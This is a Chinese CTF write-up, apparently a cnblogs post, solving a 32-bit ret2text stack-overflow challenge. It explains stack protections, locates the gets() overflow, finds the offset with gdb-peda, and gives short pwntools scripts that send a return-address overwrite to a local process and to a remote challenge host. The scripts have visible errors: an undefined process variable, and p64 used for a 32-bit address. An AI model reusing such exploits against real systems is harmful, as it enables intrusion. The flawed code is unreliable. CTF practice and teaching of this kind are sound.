• UNCTF:Baby_ret2text(栈溢出)


    基本信息查询 

    Stack:这里没有开启Stack保护,如果开启的话会在栈中的返回地址前放一个随机值,如果被覆盖,程序就会报错退出

    NX:没有开启,如果开启的话就不能让IP寄存器指向堆、栈

     

    这里显示这是一个ELF32位的程序

    运行后发现需要input

    canary(栈保护)

    当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie

    信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行

    (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode

    的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

    PIE

    如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址

    NX(DEP)

    NX即No-eXecute(不可执行)的意思,限制一块内存区域不可执行。

    ASLR

    ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

    但是,地址随机化不是对所有模块和内存区都进行随机化!虽然libc、栈、堆的加载位置被随机化,但主镜像不会。


    链接:https://www.jianshu.com/p/4231b886ded5

    接着使用IDA分析 

     F5,查看伪代码

    发现get函数没有限制长度,这里有溢出

    接着找到

    找到system(“/bin/sh”)地址就可以构造exp

    我们这里知道了gets函数读取无限制的用户输入到栈上,还有get函数的地址,接下来要确认输入到多少位可以覆盖到返回地址

    创建随机的字符:

    gdb-peda$ pattern_create 200
    'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

     run运行,然后输入刚才获取的字符,程序会报错

    用pattern_offset命令算出偏移(填入报错的地址):

    编写本地的exp:

    from pwn import *
    #p=process("/home/luo/pwn/vul")
    p.sendline('b'*60 + p64(0x08048503))
    p.interactive()

    成功后继续编写远程的exp:

    #根据题目给的ip和端口远程连接
    from pwn import *
    p = remote('120.79.17.251','10001')
    p.sendline('b'*60 + p64(0x08048503))
    p.interactive()

    运行exp:

  • 相关阅读:
    标准粒子群算法(PSO)
    Java开发中的23种设计模式详解
    分布式事务
    sjk 分页
    有用吗2
    有用吗1
    存储过程
    在虚拟机Linux安装Redis
    ajax调用WebAPI添加数据
    SVN安装和使用(简单版)
  • 原文地址:https://www.cnblogs.com/luocodes/p/13898100.html
Copyright © 2020-2023  润新知